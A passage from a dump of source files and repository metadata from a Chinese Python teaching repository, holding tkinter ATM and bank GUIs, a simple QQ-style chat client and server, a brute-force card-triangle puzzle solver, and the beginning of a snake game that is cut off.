fm2.pack(side=RIGHT, fill=BOTH, expand=YES, pady=150)\r\n self.mainloop()\r\n\r\n # 设置参数\r\n def addCharge(self):\r\n # print(\"addCharge\")\r\n inDlog = InputDialog()\r\n inDlog.setup_UI()\r\n self.wait_window(inDlog) # 等待窗口修改值\r\n self.tipVar.set(\"当前ATM机内余额为:%.2f\" % atm.money)\r\n\r\n def shutdown(self):\r\n sys.exit(0)\r\n\r\n def modPasswd(self):\r\n chPwdDlog = changePasswdDialog()\r\n chPwdDlog.setup_UI()\r\n self.wait_window(chPwdDlog)\r\n\r\n def back(self):\r\n res = self.backView()\r\n # print(\"========\", res)\r\n if res:\r\n self.quit()\r\n self.destroy()\r\n atmView = atmInitView.ATMInitView()\r\n atmView.setupATMInitView()\r\n\r\n\r\n\r\n def backView(self):\r\n backDlog = BackDialog()\r\n backDlog.setup_UI()\r\n self.wait_window(backDlog)\r\n return backDlog.isback\r\n\r\n# if __name__ == '__main__':\r\n# atm = ATM()\r\n# rview = RootView()\r\n# rview.mainloop()\r\n# try:\r\n# rview.destroy()\r\n# except:\r\n# print(\"root Exce\")\r\n\r\n# rootView = RootLoginView()\r\n# rootView.setupRootLoginUI()\r\n" }, { "alpha_fraction": 0.5976331233978271, "alphanum_fraction": 0.607692301273346, "avg_line_length": 25, "blob_id": "5b76c5008451e242628ef603dc0d3e7c226fae32", "content_id": "3f2b90cee8ee03c29b151adf744bfe128abb0da4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1714, "license_type": "permissive", "max_line_length": 63, "num_lines": 65, "path": "/py-basis/QQ简易版/server/manage_group.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 群聊处理模块\n@Time : 2018/8/19 下午9:34\n@Author : 北冥神君\n@File : manage_group.py\n@Software: PyCharm\n\"\"\"\n\n\nfrom . import memory, common_handler\n\n\ndef chatroom_handler(s, msg):\n chatroom_name = msg[1].decode()\n res_create = memory.db.create_chatroom(chatroom_name)\n res_join = ''\n if res_create == \"EXIST\":\n m = b\"EXIST\"\n else:\n res_join = memory.db.chatroom_user(\n chatroom_name, memory.online_user[s][0], 'join')\n cn = b''\n if res_create == res_join == \"OK\":\n m = b\"OK\"\n cn = chatroom_name.encode()\n else:\n m = b\"NG\"\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.create_room_res, m, cn)\n s.send(serializeMessage)\n\n\ndef user_join_leave_handler(s, msg, handler):\n chatroom_name = msg[1].decode()\n name = msg[2].decode()\n res = memory.db.chatroom_user(chatroom_name, name, handler)\n if res == \"OK\":\n res = b\"OK\"\n else:\n res = b\"NG\"\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.join_leave_chatroom, res)\n s.send(serializeMessage)\n\n\ndef query_chatroom_user(s, msg):\n chatroom_name = msg[1].decode()\n res = memory.db.get_chatroom_user(chatroom_name)\n\n if res == \"NF\":\n ct_user = \"no more user\"\n else:\n # Return friends list\n ct_user = \" + \".join(res)\n total_ct_user = ct_user.encode()\n chatroom_name = chatroom_name.encode()\n\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.query_room_users_result,\n chatroom_name,\n total_ct_user)\n s.send(serializeMessage)\n" }, { "alpha_fraction": 0.5750746130943298, "alphanum_fraction": 0.5973036885261536, "avg_line_length": 39.2723388671875, "blob_id": "48655545b909a3cd8f568885b3e01c60de995d4c", "content_id": "65a3aff14e98a04c374ec4876395ce3b283489ce", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10201, "license_type": "permissive", "max_line_length": 140, "num_lines": 235, "path": "/py-basis/各组银行系统带界面/第四组/bank_atm.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "import tkinter\r\nimport tkinter.messagebox\r\nimport bank_sys\r\nimport time\r\n\r\ndef back_bank(win,allUsers,frm):\r\n frm.pack_forget()\r\n bank_sys.Bank_Sys(win,allUsers)\r\n\r\ndef addmoney( allUsers, cardid, money):\r\n allUsers[cardid].card.money += money\r\n list_mes = []\r\n list_mes.append(\"存钱\")\r\n list_mes.append(\"+\" + str(money))\r\n now_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))\r\n list_mes.append(now_time)\r\n allUsers[cardid].card.account_list.append(list_mes)\r\n bank_sys.bank_updata(allUsers)\r\n\r\n\r\ndef outmoney( allUsers, cardid, money):\r\n allUsers[cardid].card.money -= money\r\n list_mes = []\r\n list_mes.append(\"取钱\")\r\n list_mes.append(\"-\" + str(money))\r\n now_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))\r\n list_mes.append(now_time)\r\n allUsers[cardid].card.account_list.append(list_mes)\r\n bank_sys.bank_updata(allUsers)\r\n\r\n\r\ndef transmoney( allUsers, cardid1, cardid2, money):\r\n allUsers[cardid1].card.money -= money\r\n allUsers[cardid2].card.money += money\r\n list_mes = []\r\n list_mes.append(\"转出\")\r\n list_mes.append(\"-\" + str(money))\r\n now_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))\r\n list_mes.append(now_time)\r\n allUsers[cardid1].card.account_list.append(list_mes)\r\n list_mes1 = []\r\n list_mes1.append(\"转入\")\r\n list_mes1.append(\"+\" + str(money))\r\n list_mes1.append(now_time)\r\n allUsers[cardid2].card.account_list.append(list_mes1)\r\n bank_sys.bank_updata(allUsers)\r\n\r\n\r\ndef add_money(allUsers,cardid,money):\r\n money1 = money.get()\r\n if money1 != \"\":\r\n money1 = int(money1)\r\n if money1 > 0:\r\n addmoney(allUsers,cardid,money1)\r\n tkinter.messagebox.showinfo(\"存钱成功\", \"当前余额为:%d !\"%allUsers[cardid].card.money)\r\n else:\r\n tkinter.messagebox.showinfo(\"存钱失败\", \"存钱金额不能小于0!\")\r\n money.set(\"\")\r\n else:\r\n tkinter.messagebox.showinfo(\"存钱失败\", \"请输入存钱金额!\")\r\n\r\n\r\ndef out_money(allUsers,cardid,money):\r\n money1 = money.get()\r\n if money1 != \"\":\r\n money1 = int(money1)\r\n if money1 < allUsers[cardid].card.money:\r\n outmoney(allUsers, cardid, money1)\r\n tkinter.messagebox.showinfo(\"取钱成功\", \"当前余额为:%d !\" % allUsers[cardid].card.money)\r\n else:\r\n tkinter.messagebox.showinfo(\"取钱失败\", \"卡上余额不足,当前余额为:%d !请重新输入\" % allUsers[cardid].card.money)\r\n money.set(\"\")\r\n else:\r\n tkinter.messagebox.showinfo(\"取钱失败\", \"请输入存钱金额!\")\r\n\r\ndef look_money(allUsers,cardid,money):\r\n money.set(allUsers[cardid].card.money)\r\n\r\ndef trans_money(allUsers,card_num, money,cardid):\r\n cardid1 = cardid.get()\r\n money1 = money.get()\r\n if cardid1 != \"\" and money1 != \"\":\r\n cardid1 = int(cardid1)\r\n money1 = int(money1)\r\n if cardid1 in allUsers:\r\n if money1 < allUsers[card_num].card.money:\r\n transmoney(allUsers, card_num,cardid1,money1)\r\n tkinter.messagebox.showinfo(\"转账成功\", \"当前余额为:%d !\" % allUsers[card_num].card.money)\r\n else:\r\n tkinter.messagebox.showinfo(\"转账失败\", \"卡上余额不足,当前余额为:%d !请重新输入\" % allUsers[card_num].card.money)\r\n money.set(\"\")\r\n else:\r\n tkinter.messagebox.showinfo(\"转账失败\", \"不存在该卡号,请确认后重新输入!\")\r\n money.set(\"\")\r\n cardid.set(\"\")\r\n else:\r\n tkinter.messagebox.showinfo(\"转账失败\", \"信息输入不完整,请重新输入!\")\r\n\r\ndef look_Bill(allUsers, frm,cardid):\r\n num = 3\r\n for user in allUsers[cardid].card.account_list:\r\n tkinter.Label(frm, text=user[0]).grid(row=num, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text=user[1]).grid(row=num, column=1, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text=user[2]).grid(row=num, column=2, stick=tkinter.W, pady=10)\r\n\r\n num += 1\r\n\r\n\r\n\r\n\r\n\r\ndef view_addMoney(win1,allUsers,cardid):\r\n frm = tkinter.Frame(win1)\r\n frm.pack()\r\n money = tkinter.StringVar()\r\n tkinter.Label(frm, text = '存钱', font = \"15\").grid(row=0, column=1, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text='金额: ').grid(row=1, stick=tkinter.W, pady=10)\r\n tkinter.Entry(frm, textvariable=money).grid(row=1, column=1, stick=tkinter.E)\r\n tkinter.Button(frm, text='存钱',command = lambda : add_money(allUsers,cardid,money)).grid(row=3, stick=tkinter.W, pady=10)\r\n tkinter.Button(frm, text='退出',command = lambda :back_bank(win1,allUsers,frm)).grid(row=3, column=1, stick=tkinter.E, pady=10)\r\n return frm\r\n\r\ndef view_outMoney(win1,allUsers,cardid):\r\n frm = tkinter.Frame(win1)\r\n frm.pack()\r\n money = tkinter.StringVar()\r\n tkinter.Label(frm, text = '取钱', font = \"15\").grid(row=0, column=1, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text='金额: ').grid(row=1, stick=tkinter.W, pady=10)\r\n tkinter.Entry(frm, textvariable=money).grid(row=1, column=1, stick=tkinter.E)\r\n tkinter.Button(frm, text='取钱',command = lambda :out_money(allUsers,cardid,money)).grid(row=3, stick=tkinter.W, pady=10)\r\n tkinter.Button(frm, text='退出', command = lambda :back_bank(win1,allUsers,frm)).grid(row=3, column=1, stick=tkinter.E, pady=10)\r\n return frm\r\n\r\n\r\ndef view_lookMoney(win1,allUsers,cardid):\r\n frm = tkinter.Frame(win1)\r\n frm.pack()\r\n username = tkinter.StringVar()\r\n tkinter.Label(frm, text = '查询', font = \"15\").grid(row=0, column=1, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text='余额: ').grid(row=1, stick=tkinter.W, pady=10)\r\n tkinter.Entry(frm, textvariable=username).grid(row=1, column=1, stick=tkinter.E)\r\n tkinter.Button(frm, text='查询', command = lambda :look_money(allUsers,cardid, username)).grid(row=3, stick=tkinter.W, pady=10)\r\n tkinter.Button(frm, text='退出', command = lambda :back_bank(win1,allUsers,frm)).grid(row=3, column=1, stick=tkinter.E, pady=10)\r\n return frm\r\ndef view_lookBill( win,allUsers,cardid):\r\n frm = tkinter.Frame(win)\r\n frm.pack()\r\n tkinter.Label(frm, text='查看所有用户', font=\"15\").grid(row=0, column=1, stick=tkinter.W, pady=10)\r\n tkinter.Button(frm, text='查看', command=lambda: look_Bill(allUsers, frm,cardid)).grid(row=1, stick=tkinter.W,\r\n pady=10)\r\n tkinter.Button(frm, text='退出', command=lambda: back_bank(win, allUsers, frm)).grid(row=1, column=2, stick=tkinter.E,\r\n pady=10)\r\n tkinter.Label(frm, text='操作: \\t\\t').grid(row=2, stick=tkinter.W,)\r\n tkinter.Label(frm, text='钱数: \\t\\t').grid(row=2, column=1, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text='时间: \\t\\t').grid(row=2, column=2, stick=tkinter.W, pady=10)\r\n\r\n\r\n return frm\r\n\r\n\r\ndef view_transMoney(win1,allUsers,card_num):\r\n frm = tkinter.Frame(win1)\r\n frm.pack()\r\n money = tkinter.StringVar()\r\n cardid = tkinter.StringVar()\r\n tkinter.Label(frm, text='转账', font=\"15\").grid(row=0, column=1, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text='金额: ').grid(row=1, stick=tkinter.W, pady=10)\r\n tkinter.Entry(frm, textvariable=money).grid(row=1, column=1, stick=tkinter.E)\r\n tkinter.Label(frm, text='卡号: ').grid(row=2, stick=tkinter.W, pady=10)\r\n tkinter.Entry(frm, textvariable=cardid).grid(row=2, column=1, stick=tkinter.E)\r\n tkinter.Button(frm, text='转账',command = lambda :trans_money(allUsers,card_num, money,cardid) ).grid(row=3, stick=tkinter.W, pady=10)\r\n tkinter.Button(frm, text='退出', command = lambda :back_bank(win1,allUsers,frm)).grid(row=3, column=1, stick=tkinter.E, pady=10)\r\n return frm\r\n\r\n\r\nclass AtmView(object):\r\n\r\n def __init__(self,win1,allUsers,cardid):\r\n\r\n self.allUsers = allUsers\r\n self.cardid = cardid\r\n win1.title(\"ATM\")\r\n menubar = tkinter.Menu(win1)\r\n win1.config(menu=menubar)\r\n menubar.add_command(label=\"存钱\", command=self.func1)\r\n menubar.add_command(label=\"取钱\", command=self.func2)\r\n menubar.add_command(label=\"查询\", command=self.func3)\r\n menubar.add_command(label=\"转账\", command=self.func4)\r\n menubar.add_command(label=\"账单\", command=self.func5)\r\n self.frm1 = view_addMoney(win1, allUsers,cardid) # 存钱\r\n self.frm1.pack()\r\n self.frm2 = view_outMoney(win1,allUsers,cardid) # 取钱\r\n self.frm2.pack_forget()\r\n self.frm3 = view_lookMoney(win1,allUsers,cardid) # 查询\r\n self.frm3.pack_forget()\r\n self.frm4 = view_transMoney(win1,allUsers,cardid) # 转账\r\n self.frm4.pack_forget()\r\n self.frm5 = view_lookBill(win1, allUsers, cardid) # 转账\r\n self.frm5.pack_forget()\r\n win1.mainloop()\r\n\r\n def func1(self): # 存钱\r\n self.frm2.pack_forget()\r\n self.frm3.pack_forget()\r\n self.frm4.pack_forget()\r\n self.frm5.pack_forget()\r\n self.frm1.pack()\r\n\r\n def func2(self): # 取钱\r\n self.frm1.pack_forget()\r\n self.frm3.pack_forget()\r\n self.frm4.pack_forget()\r\n self.frm5.pack_forget()\r\n self.frm2.pack()\r\n\r\n def func3(self): # 查询\r\n self.frm1.pack_forget()\r\n self.frm2.pack_forget()\r\n self.frm4.pack_forget()\r\n self.frm5.pack_forget()\r\n self.frm3.pack()\r\n\r\n def func4(self): #转账\r\n self.frm1.pack_forget()\r\n self.frm2.pack_forget()\r\n self.frm3.pack_forget()\r\n self.frm5.pack_forget()\r\n self.frm4.pack()\r\n\r\n def func5(self): #转账\r\n self.frm1.pack_forget()\r\n self.frm2.pack_forget()\r\n self.frm3.pack_forget()\r\n self.frm4.pack_forget()\r\n self.frm5.pack()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.4861111044883728, "alphanum_fraction": 0.49074074625968933, "avg_line_length": 21.11111068725586, "blob_id": "d44e6bb210a08f403c397a42d573ecd1f622c408", "content_id": "3d3ddbe93c39acf5cac82b58a71510b5de2bbd1c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 216, "license_type": "permissive", "max_line_length": 44, "num_lines": 9, "path": "/py-basis/银行系统/user.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\n\r\n\r\nclass User(object):\r\n def __init__(self, name, idCard, phone):\r\n self.name = name\r\n self.idCard = idCard\r\n self.phone = phone\r\n self.cardsDict = {}\r\n\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.5676942467689514, "alphanum_fraction": 0.5770686864852905, "avg_line_length": 36.10367965698242, "blob_id": "48cd2f16c6127417962d8f775bd857831e662d39", "content_id": "7b411a644668c0b36304080ada69ca79ddd84b44", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11310, "license_type": "permissive", "max_line_length": 101, "num_lines": 299, "path": "/py-basis/QQ简易版/client/chat_form.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 聊天窗口供用户输入文本和发送,同时接收和显示来自其他人的消息。\n@Time : 2018/8/19 下午9:21\n@Author : 北冥神君\n@File : chat_form.py\n@Software: PyCharm\n\"\"\"\n\nimport tkinter as tk\nfrom tkinter import *\nfrom tkinter.scrolledtext import ScrolledText\nfrom tkinter import colorchooser\nfrom tkinter import simpledialog\nimport datetime as dtime\n\nfrom . import client_socket, memory, common_handler\n\n\nclass ChatForm(tk.Frame):\n font_color = \"#000000\"\n font_size = 12\n\n def on_list_click(self, e):\n name = self.chatroom_user_list.get(\n self.chatroom_user_list.curselection())\n for tmp in memory.chatroom_user_list[self.username]:\n if tmp[1] == name:\n uname = tmp[0]\n\n for fn in memory.friend_list:\n if uname == fn[1]:\n # It's friend...\n uname = memory.friend_list[fn] + \" (\" + uname + \")\"\n run(uname)\n return\n # Not friend...\n result = messagebox.askokcancel(\n \"还不是好友?\", \"你和\" + name + \"还不是好友,是否立即添加?\")\n if result:\n friend_name = uname.encode()\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.add_friend, friend_name)\n client_socket.send_msg(serializeMessage)\n messagebox.showinfo('添加好友', '好友请求已发送')\n\n def __init__(self, master=None, username=None, nickname=\"Unkown\"):\n super().__init__(master)\n self.master = master\n self.username = username\n self.nickname = nickname\n self.master.resizable(width=True, height=True)\n self.master.geometry('660x500')\n self.master.minsize(420, 370)\n\n self.master.title(\"与 {} 聊天中...\".format(self.nickname))\n memory.Chat_window[self.username] = self\n print(memory.Chat_window)\n\n # Chatroom window\n\n for v in memory.friend_list:\n if v[1] == self.username:\n if v[0] == 2:\n self.left_frame = tk.Frame(self)\n\n self.scroll = Scrollbar(self.left_frame)\n self.scroll.pack(side=RIGHT, fill=Y)\n self.chatroom_user_list = Listbox(\n self.left_frame, yscrollcommand=self.scroll.set)\n self.chatroom_user_list.bind(\n \"<Double-Button-1>\", self.on_list_click)\n self.scroll.config(command=self.chatroom_user_list.yview)\n self.chatroom_user_list.pack(expand=True, fill=BOTH)\n self.update_chatroom_user_list(v[1])\n self.left_frame.pack(side=RIGHT, expand=True, fill=BOTH)\n\n # self.friend_name = tk.Label(\n # self.left_frame, text=nickname, bg='#EEE', width=15)\n # self.friend_name.pack(expand=True, fill=BOTH, ipadx=5, ipady=5)\n\n self.right_frame = tk.Frame(self, bg='white')\n self.right_frame.pack(side=LEFT, expand=True, fill=BOTH)\n self.input_frame = tk.Frame(self.right_frame)\n self.input_textbox = ScrolledText(self.right_frame, height=7)\n self.input_textbox.bind(\"<Control-Return>\", self.send_message)\n self.input_textbox.bind_all('<Key>', self.apply_font_change)\n\n self.send_btn = tk.Button(self.input_frame, text='发送消息(Ctrl+Enter)',\n command=self.send_message)\n self.send_btn.pack(side=RIGHT, expand=False)\n\n self.font_btn = tk.Button(\n self.input_frame, text='字体颜色', command=self.choose_color)\n self.font_btn.pack(side=LEFT, expand=False)\n\n self.font_btn = tk.Button(\n self.input_frame, text='字体大小', command=self.choose_font_size)\n self.font_btn.pack(side=LEFT, expand=False)\n\n # self.image_btn = tk.Button(\n # self.input_frame, text='发送图片', command=self.send_image)\n # self.image_btn.pack(side=LEFT, expand=False)\n\n self.chat_box = ScrolledText(self.right_frame, bg='white')\n self.input_frame.pack(side=BOTTOM, fill=X, expand=False)\n self.input_textbox.pack(side=BOTTOM, fill=X,\n expand=False, padx=(0, 0), pady=(0, 0))\n self.chat_box.pack(side=BOTTOM, fill=BOTH, expand=True)\n self.chat_box.bind(\"<Key>\", lambda e: \"break\")\n self.chat_box.tag_config(\n \"default\", lmargin1=10, lmargin2=10, rmargin=10)\n self.chat_box.tag_config(\"me\", foreground=\"green\", spacing1='5')\n self.chat_box.tag_config(\"them\", foreground=\"blue\", spacing1='5')\n self.chat_box.tag_config(\"message\", foreground=\"black\", spacing1='0')\n self.chat_box.tag_config(\"system\", foreground=\"grey\", spacing1='0',\n justify='center', font=(None, 8))\n\n self.pack(expand=True, fill=BOTH, padx=5, pady=5, ipadx=5, ipady=5)\n\n def append_to_chat_box(self, time, user, message, tags):\n if user == memory.username:\n user = \"我\"\n time_info = \"%s %s 说:\\n\" % (time, user)\n self.chat_box.insert(tk.END, time_info, [tags, 'message'])\n self.chat_box.insert(tk.END, message, [tags, 'default'])\n self.chat_box.insert(tk.END, \"\\n\", [tags, 'message'])\n self.chat_box.update()\n self.chat_box.see(tk.END)\n\n def send_message(self, _=None):\n stime = dtime.datetime.now()\n time_info = \"%s年%s月%s日 %s时%s分%s秒\" % (\n stime.year, stime.month, stime.day,\n stime.hour, stime.minute, stime.second)\n message = self.input_textbox.get(\"1.0\", END)\n if not message or message.replace(\" \", \"\").\\\n replace(\"\\r\", \"\").replace(\"\\n\", \"\") == '':\n return\n for k1 in memory.friend_list:\n if k1 == (1, self.username):\n self.append_to_chat_box(time_info, \"我\", message, 'me')\n self.input_textbox.delete(\"1.0\", END)\n\n # format datetime\n send_message_handler(time_info, message, self.username)\n return 'break'\n\n def choose_color(self):\n _, self.font_color = colorchooser.askcolor(\n initialcolor=self.font_color)\n self.apply_font_change(None)\n\n def choose_font_size(self):\n result = simpledialog.askinteger(\"设置\", \"请输入字体大小\",\n initialvalue=self.font_size)\n if result is None:\n return\n self.font_size = result\n self.apply_font_change(None)\n\n def apply_font_change(self, _):\n try:\n self.input_textbox.tag_config('new', foreground=self.font_color,\n font=(None, self.font_size))\n self.input_textbox.tag_add('new', '1.0', END)\n except Exception:\n pass\n\n def close_window(self):\n del memory.Chat_window[self.username]\n self.master.destroy()\n\n def update_chatroom_user_list(self, chatroom_name):\n cn = chatroom_name.encode()\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.query_room_users, cn)\n client_socket.send_msg(serializeMessage)\n\n\ndef chatroom_user_update(msg):\n chatroom_name = msg[1].decode()\n user_list = msg[2].decode()\n if user_list == \"no more user\":\n memory.chatroom_user_list = {}\n return\n else:\n _friend_info_lst = user_list.split(\" + \")\n tmp = []\n for _i in _friend_info_lst:\n _m = _i.split(\":\")\n tmp.append((_m[0], _m[1]))\n memory.chatroom_user_list[chatroom_name] = (tmp)\n print(memory.chatroom_user_list)\n for cuser in memory.chatroom_user_list[chatroom_name]:\n memory.Chat_window[chatroom_name].chatroom_user_list.\\\n insert(END, cuser[1])\n\n\ndef run(name):\n _tmp = name.split()\n if _tmp[0] == \"群\":\n username = _tmp[2]\n username = username[1:]\n username = username[:-1]\n nickname = _tmp[1]\n else:\n username = _tmp[1]\n username = username[1:]\n username = username[:-1]\n nickname = _tmp[0]\n\n try:\n if memory.Chat_window[username]:\n return\n except Exception:\n pass\n root = tk.Toplevel()\n ChatForm(root, username=username, nickname=nickname)\n for i in memory.recv_message:\n if i == username:\n memory.tk_root.update_friend_list(unflag_name=username)\n for _time, _user, _msg, _flag in memory.recv_message[username]:\n memory.Chat_window[username].append_to_chat_box(\n _time, _user, _msg, _flag)\n root.protocol(\n \"WM_DELETE_WINDOW\", memory.Chat_window[username].close_window)\n\n\ndef send_message_handler(send_time, msg, username):\n msg = msg.encode()\n send_time = send_time.encode()\n username = username.encode()\n from_user = memory.username.encode()\n\n for v in memory.friend_list:\n if v[1] == username.decode():\n if v[0] == 2:\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.chatroom_message, send_time, username, from_user, msg)\n client_socket.send_msg(serializeMessage)\n return\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.send_message, send_time, username, from_user, msg)\n client_socket.send_msg(serializeMessage)\n\n\ndef chatmsg_handler(msg):\n from_user = msg[1].decode()\n send_time = msg[2].decode()\n message = msg[3].decode()\n _flag = \"them\"\n if msg[0] == common_handler.MessageType.broadcast:\n _flag = \"system\"\n\n for i in memory.Chat_window:\n # chat window exist\n if i == from_user:\n memory.Chat_window[i].append_to_chat_box(\n send_time, from_user, message, _flag)\n return\n # If not chat with target who msg from someone, save msg to buffer.\n for iii in memory.recv_message:\n if iii == from_user:\n memory.recv_message[from_user].append(\n (send_time, from_user, message, _flag))\n print(memory.recv_message)\n break\n memory.recv_message[from_user] = [(send_time, from_user, message, _flag)]\n memory.tk_root.update_friend_list(flag_name=from_user)\n\n\ndef chatroom_msg_handler(msg):\n send_time = msg[1].decode()\n chatroom_name = msg[2].decode()\n from_user = msg[3].decode()\n message = msg[4].decode()\n _flag = \"them\"\n for i in memory.Chat_window:\n # chat window exist\n if i == chatroom_name:\n memory.Chat_window[i].append_to_chat_box(\n send_time, from_user, message, _flag)\n return\n # If not chat with target who msg from someone, save msg to buffer.\n for iii in memory.recv_message:\n if iii == chatroom_name:\n memory.recv_message[chatroom_name].append(\n (send_time, from_user, message, _flag))\n print(memory.recv_message)\n break\n memory.recv_message[from_user] = [(send_time, from_user, message, _flag)]\n memory.tk_root.update_friend_list(flag_name=from_user)\n\n\nif __name__ == \"__main__\":\n run(\"jz\")\n" }, { "alpha_fraction": 0.28843408823013306, "alphanum_fraction": 0.3603046238422394, "avg_line_length": 47.86046600341797, "blob_id": "c8e2a8d69bd9317a1268e896c5f5d28a9fd6c7c8", "content_id": "6d90149c8820faa4b829a31900243cb6fe5f7485", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2481, "license_type": "permissive", "max_line_length": 143, "num_lines": 43, "path": "/py-basis/纸牌三角形解(暴力破解).py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 纸牌三角形解法\n@Time : 2018/8/1 上午10:21\n@Author : 北冥神君\n@File : 纸牌三角形解(暴力破解).py\n@Software: PyCharm\n\"\"\"\n\n\n# 把三角形的三条边分别拿出来,分别进行排列组合。\nsum = 0\nfor x1 in range(1, 10):\n for x2 in range(1, 10):\n for x3 in range(1, 10):\n for x4 in range(1, 10):\n for x5 in range(1, 10):\n for x6 in range(1, 10):\n for x7 in range(1, 10):\n for x8 in range(1, 10):\n for x9 in range(1, 10):\n if(x1 + x2 + x3 + x4 == x4 + x5 + x6 + x7 == x7 + x8 + x9 + x1\n and x1 != x2 and x1 != x3 and x1 != x4 and x1 != x5 and x1 != x6 and x1 != x7 and x1 != x8 and x1 != x9\n and x2 != x3 and x2 != x4 and x2 != x5 and x2 != x6 and x2 != x7 and x2 != x8 and x2 != x9\n and x3 != x4 and x3 != x5 and x3 != x6 and x3 != x7 and x3 != x8 and x3 != x9\n and x4 != x5 and x4 != x6 and x4 != x7 and x4 != x8 and x4 != x9\n and x5 != x6 and x5 != x7 and x5 != x8 and x5 != x9\n and x6 != x7 and x6 != x8 and x6 != x9\n and x7 != x8 and x7 != x9\n and x8 != x9\n ):\n sum += 1\n print('第%s个三角形为:' % sum, end='\\n')\n print('', '', '', '', x1)\n print('', '', x2, '', '', x9)\n print('', x3, '', '', '', '', x8)\n print(x4, '', x5, '', x6, '', x7)\nprint('将一个等边三角形旋转,旋转中心应选在平面内任意一点,旋转角度为120度,固旋转一共有三种旋转对称图形')\nprint('过等边三角形三边做高,沿着等边三角形的高上放一面镜子,一共有三个符合条件的镜面对称图像')\nprint('故总三角形一共有3+3=6种是同一种的图形,所以总数/6即可')\nprint('所有纸牌三角形共有%s' % sum, '去除镜面对称和旋转后一共有:', sum / 6)\n" }, { "alpha_fraction": 0.44197529554367065, "alphanum_fraction": 0.46444445848464966, "avg_line_length": 24.471698760986328, "blob_id": "db0294759bccdba3057579cb267da32eb051844a", "content_id": "152d06b2aff2f0bfb841a3cc9dbd2c7268155b16", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8898, "license_type": "permissive", "max_line_length": 76, "num_lines": 318, "path": "/py-basis/超速贪吃蛇py.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 超速贪吃蛇\n@Time : 2018/8/13 下午8:47\n@Author : 北冥神君\n@File : 超速贪吃蛇.py\n@Software: PyCharm\n\"\"\"\n\nimport time\nimport random\nimport threading\nimport os\nfrom tkinter import *\nimport tkinter.messagebox as messagebox\n\n# 核心模块\n\n\nclass Core():\n row = 40\t\t\t# 面板格子行数\n column = 40\t\t\t# 面板格子列数\n score = 0\t\t\t# 分数\n interval = 0.08\t\t# 速度\n\n # 反方向\n negative_Direction = {\n 'Up': 'Down',\n 'Down': 'Up',\n 'Right': 'Left',\n 'Left': 'Right'\n }\n\n # 蛇身\n snake = {\n 'direction': 'Right', \t# 目前方向\n 'food': (None, None), \t# 食物位置\n 'snake': [(30, 20), (30, 21), (30, 22), (30, 23)], \t# 蛇身队列 (尾-头)\n 'tail': (30, 19)\t\t# 需要被删除的蛇尾\n }\n\n # 初始化\n def __init__(self):\n self.food()\t\t# 生成第一颗食物\n\n # 生成食物\n def food(self):\n food = self.snake['snake'][0]\n while food in self.snake['snake']: # 避免生成在蛇身上\n food = (\n random.randint(1, self.row - 2),\n random.randint(1, self.column - 2)\n )\n self.snake['food'] = food\n\n # 依据运动方向生成下一个点坐标\n def nextDot(self, direction):\n dot = None\n lenght = len(self.snake['snake'])\n if direction == 'Up': # 上\n dot = (\n self.snake['snake'][lenght - 1][0] - 1,\n self.snake['snake'][lenght - 1][1]\n )\n elif direction == 'Left': # 左\n dot = (\n self.snake['snake'][lenght - 1][0],\n self.snake['snake'][lenght - 1][1] - 1\n )\n elif direction == 'Down': # 下\n dot = (\n self.snake['snake'][lenght - 1][0] + 1,\n self.snake['snake'][lenght - 1][1]\n )\n elif direction == 'Right': # 右\n dot = (\n self.snake['snake'][lenght - 1][0],\n self.snake['snake'][lenght - 1][1] + 1\n )\n\n return dot\n\n # 检测点的位置是否合法\n def CheckIsValid(self, dot):\n if dot in self.snake['snake']: # 是否在撞到自身\n return False\n if dot[0] < 0 or dot[0] > self.row - 1 or \\\n dot[1] < 0 or dot[1] > self.column - 1: # 是否撞到墙 (边界)\n return False\n else:\n return True\n\n # 移动函数\n def move(self, direction):\n operationInfo = {\n 'Lose': False, \t# 是否输了\n 'win': False \t# 是否赢了\n }\n\n # 反方向过滤\n if direction == self.negative_Direction[self.snake['direction']]:\n return operationInfo\n\n nextDot = self.nextDot(direction)\n if self.CheckIsValid(nextDot):\n self.snake['direction'] = direction \t# 更新方向\n 